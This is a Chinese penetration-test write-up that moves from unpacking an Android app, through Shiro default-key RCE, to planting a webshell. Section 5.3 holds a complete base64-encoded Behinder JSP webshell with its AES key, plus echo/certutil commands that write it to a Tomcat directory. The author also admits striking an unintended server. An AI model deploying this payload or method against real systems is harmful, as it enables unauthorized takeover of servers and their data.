APP简单逆向到getshell
字数 1326 2025-08-29 08:31:35
APP逆向与渗透测试实战:从逆向分析到获取Shell
1. 前言与背景
本次渗透测试目标是一个仅包含登录框的APP,该登录框调用公司门户站的SSO单点登录系统,并受到长亭WAF保护。常规渗透测试方法难以突破,因此转向APP逆向分析寻找突破口。
2. 逆向分析准备
2.1 工具准备
- 反编译工具:jadx(用于反编译APK)
- 脱壳工具:反射大师(用于处理爱加密加固)
- 信息搜集工具:AppInfoScanner(扫描APP中的URL信息)
- 抓包工具:配合Hook绕过反抓包机制
2.2 初步逆向分析
- 使用jadx反编译APK,发现存在爱加密加固
- 使用反射大师进行脱壳,获取原始dex文件
- 再次使用jadx分析脱壳后的代码
- 发现使用okhttp框架,存在反抓包机制
3. 寻找突破口
3.1 URL信息搜集
- 在
BaseUrlConfig类中发现一组IP地址(相同IP不同端口) - 使用AppInfoScanner主动扫描获取更多URL信息
- 全局搜索
http://关键词,发现更多URL
3.2 测试发现的URL
- 访问IP地址,发现空白页面但显示Tomcat图标
- 发现类似
http://xxxxx:8080/web/weixin/xxxxxx的URL - 基于"weixin"关键词猜测路径,尝试
/web/weixin/login - 成功发现登录页面
4. 漏洞利用
4.1 Shiro漏洞利用
- 根据URL特征推测后端为Java
- 尝试Shiro默认密钥进行RCE攻击
- 成功获取系统权限的远程代码执行能力
5. 写入Webshell的挑战与解决方案
5.1 初始尝试方法
-
方法一:echo写入(需转义特殊字符)
- JSP马特殊字符多,转义复杂
- 本地测试成功但目标环境失败(编码问题)
-
方法二:Base64解码写入
- 使用
certutil -decode命令 - 本地成功但目标环境解码失败(输出长度为0)
- 使用
5.2 Fuzz测试发现问题
- 分段Base64编码上传测试
- 发现冰蝎马的最后四个字符
;}%>导致解码失败 - 解决方案:
- 先写入除最后四个字符外的内容
- 再单独追加最后四个字符
5.3 写入命令示例
echo PCVAcGFnZSBpbXBvcnQ9ImphdmEudXRpbC4qLGphdmF4LmNyeXB0by4qLGphdmF4LmNyeXB0by5zcGVjLioiJT48JSFjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXJ7VShDbGFzc0xvYWRlciBjKXtzdXBlcihjKTt9cHVibGljIENsYXNzIGcoYnl0ZSBbXWIpe3JldHVybiBzdXBlci5kZWZpbmVDbGFzcyhiLDAsYi5sZW5ndGgpO319JT48JWlmIChyZXF1ZXN0LmdldE1ldGhvZCgpLmVxdWFscygiUE9TVCIpKXtTdHJpbmcgaz0iZTQ1ZTMyOWZlYjVkOTI1YiI7c2Vzc2lvbi5wdXRWYWx1ZSgidSIsayk7Q2lwaGVyIGM9Q2lwaGVyLmdldEluc3RhbmNlKCJBRVMiKTtjLmluaXQoMixuZXcgU2VjcmV0S2V5U3BlYyhrLmdldEJ5dGVzKCksIkFFUyIpKTtuZXcgVSh0aGlzLmdldENsYXNzKCkuZ2V0Q2xhc3NMb2FkZXIoKSkuZyhjLmRvRmluYWwobmV3IHN1bi5taXNjLkJBU0U2NERlY29kZXIoKS5kZWNvZGVCdWZmZXIocmVxdWVzdC5nZXRSZWFkZXIoKS5yZWFkTGluZSgpKSkpLm5ld0luc3RhbmNlKCkuZXF1YWxzKHBhZ2VDb250ZXh0KQ>1.txt
certutil -decode 1.txt 2.jsp
echo ;}%> >> 2.jsp
5.4 路径问题解决
- 初始写入根目录不解析(变为下载)
- 解决方案:写入Tomcat自带目录(如docs目录)
6. 经验总结
- 环境差异:本地测试成功不代表目标环境能成功
- Fuzz测试:遇到问题时分段测试是有效方法
- 备选方案:内存马注入可作为最后手段(但可能导致服务崩溃)
- 资产确认:确保攻击的是正确目标(本例中打到其他业务服务器)
7. 防御建议
-
加固防护:
- 避免使用默认密钥
- 及时更新框架和组件
-
敏感信息管理:
- 不要在客户端存储敏感URL
- 使用混淆和加密保护配置信息
-
输入验证:
- 严格过滤特殊字符
- 限制命令执行功能
-
监控措施:
- 监控异常文件创建
- 检测异常命令执行
8. 工具与资源
-
逆向工具:
- jadx
- 反射大师
- Frida(用于Hook)
-
扫描工具:
- AppInfoScanner
- MobSF
-
漏洞利用工具:
- Shiro反序列化利用工具
- ysoserial
-
Webshell管理:
- 冰蝎
- 哥斯拉
- AntSword